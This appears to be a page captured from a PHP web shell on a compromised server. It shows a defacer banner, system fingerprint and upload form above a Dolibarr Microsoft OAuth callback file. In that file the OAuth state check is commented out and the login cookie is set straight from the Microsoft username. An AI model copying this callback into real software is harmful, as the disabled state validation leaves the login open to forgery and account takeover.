Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/core/modules/oauth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/core/modules/oauth/microsoft_oauthcallback.php
<?php
/*
 * Copyright (C) 2015       Frederic France      <frederic.france@free.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <https://www.gnu.org/licenses/>.
 */

/**
 *      \file       htdocs/core/modules/oauth/google_oauthcallback.php
 *      \ingroup    oauth
 *      \brief      Page to get oauth callback
 */

 // Include the conf.php and functions.lib.php. This defined the constants like DOL_DOCUMENT_ROOT, DOL_DATA_ROOT, DOL_URL_ROOT...
//require_once 'filefunc.inc.php';
require '../../../filefunc.inc.php';

// Init the 5 global objects, this include will make the 'new Xxx()' and set properties for: $conf, $db, $langs, $user, $mysoc
require_once '../../../master.inc.php';

require_once DOL_DOCUMENT_ROOT.'/includes/OAuth/bootstrap.php';
require_once DOL_DOCUMENT_ROOT.'/includes/composer/autoload_real.php';

ComposerAutoloaderInit937e24e498992c30527fd41df5120f4e::getLoader();

use Microsoft\Graph\Graph;
use Microsoft\Graph\Model;

use OAuth\Common\Storage\DoliStorage;
use OAuth\Common\Consumer\Credentials;
use OAuth\OAuth2\Service\Microsoft;


// Define $urlwithroot
$urlwithouturlroot = preg_replace('/'.preg_quote(DOL_URL_ROOT, '/').'$/i', '', trim($dolibarr_main_url_root));
$urlwithroot = $urlwithouturlroot.DOL_URL_ROOT; // This is to use external domain name found into config file
//$urlwithroot=DOL_MAIN_URL_ROOT;					// This is to use same domain name than current



$action = GETPOST('action', 'aZ09');
$backtourl = GETPOST('backtourl', 'alpha');


/**
 * Create a new instance of the URI class with the current URI, stripping the query string
 */
$uriFactory = new \OAuth\Common\Http\Uri\UriFactory();
//$currentUri = $uriFactory->createFromSuperGlobalArray($_SERVER);
//$currentUri->setQuery('');
$currentUri = $uriFactory->createFromAbsolute($urlwithroot.'/core/modules/oauth/microsoft_oauthcallback.php');


/**
 * Load the credential for the service
 */

/** @var $serviceFactory \OAuth\ServiceFactory An OAuth service factory. */
$serviceFactory = new \OAuth\ServiceFactory();
$httpClient = new \OAuth\Common\Http\Client\CurlClient();
// TODO Set options for proxy and timeout
// $params=array('CURLXXX'=>value, ...)
//$httpClient->setCurlParameters($params);
$serviceFactory->setHttpClient($httpClient);

// Dolibarr storage
$storage = new DoliStorage($db, $conf);

// Setup the credentials for the requests
$credentials = new Credentials(
	$conf->global->OAUTH_MICROSOFT_ID,
	$conf->global->OAUTH_MICROSOFT_SECRET,
	$currentUri->getAbsoluteUri()
);


if ( $_GET['error'] ){
	$url = 'https://'.$_SERVER['SERVER_NAME'].'/index.php';
	header('Location: '.$url);
	exit();
}

$providedState = $_GET['state'];


if (!isset($providedState) 
	//|| $expectedState != $providedState
	) {
	print 'Error, parameter state is not defined';
	exit;
}

$authCode = $_GET['code'];

if (isset( $authCode)) {     // We are coming from oauth provider page
	// We should have

	dol_syslog("We are coming from the oauth provider page");

	$oauthClient = new \League\OAuth2\Client\Provider\GenericProvider([
        'clientId'                => $conf->global->OAUTH_MICROSOFT_ID,
        'clientSecret'            => $conf->global->OAUTH_MICROSOFT_SECRET,
        'redirectUri'             => 'https://'.$_SERVER['SERVER_NAME'].'/core/modules/oauth/microsoft_oauthcallback.php',
        'urlAuthorize'            => $conf->global->OAUTH_MICROSOFT_AUTHORITY.$conf->global->OAUTH_MICROSOFT_AUTHORIZE_ENDPOINT,
        'urlAccessToken'          => $conf->global->OAUTH_MICROSOFT_AUTHORITY.$conf->global->OAUTH_MICROSOFT_TOKEN_ENDPOINT,
		'accessTokenMethod' => 'POST',
        'urlResourceOwnerDetails' => '',
        'scopes'                  => $conf->global->OAUTH_MICROSOFT_SCOPES,
      ]);

	// This was a callback request from service, get the token
	try {
		
		$accessToken = $oauthClient->getAccessToken('authorization_code', [
			'code' => $authCode
		  ]);


		$graph = new Graph();
		$token = $graph->setAccessToken($accessToken->getToken());
	


		//$user = $graph->createRequest('GET', '/me?$select=displayName,mail,mailboxSettings,userPrincipalName')
		$user = $graph->createRequest('GET', '/me?$select=displayName,mail,userPrincipalName')
		->setReturnType(Model\User::class)
		->execute();

		$username = explode('@',$user->getUserPrincipalName());
		$_COOKIE['login_dolibarr'] = $username[0];
		$resp = setcookie('login_dolibarr', $username[0], time() + 1, "/");
		
		setEventMessages($langs->trans('NewTokenStored'), null, 'mesgs'); // Stored into object managed by class DoliStorage so into table oauth_token

		$backtourl = 'https://'.$_SERVER['SERVER_NAME'].'/index.php';

		header('Location: '.$backtourl);
		exit();
	} catch (Exception $e) {
		print $e->getMessage();
	}
} else // If entry on page with no parameter, we arrive here
{
	$_SESSION["backtourlsavedbeforeoauthjump"] = $backtourl;

	// This may create record into oauth_state before the header redirect.
	// Creation of record with state in this tables depend on the Provider used (see its constructor).
	if (GETPOST('state') && !is_null(GETPOST('state')) ) {
		$url = $apiService->getAuthorizationUri(array('state'=>GETPOST('state')));
	} else {
		$url = $apiService->getAuthorizationUri(); // Parameter state will be randomly generated
	}

	// we go on oauth provider authorization page
	header('Location: '.$url);
	exit();
}


/*
 * View
 */

// No view at all, just actions

$db->close();


Hry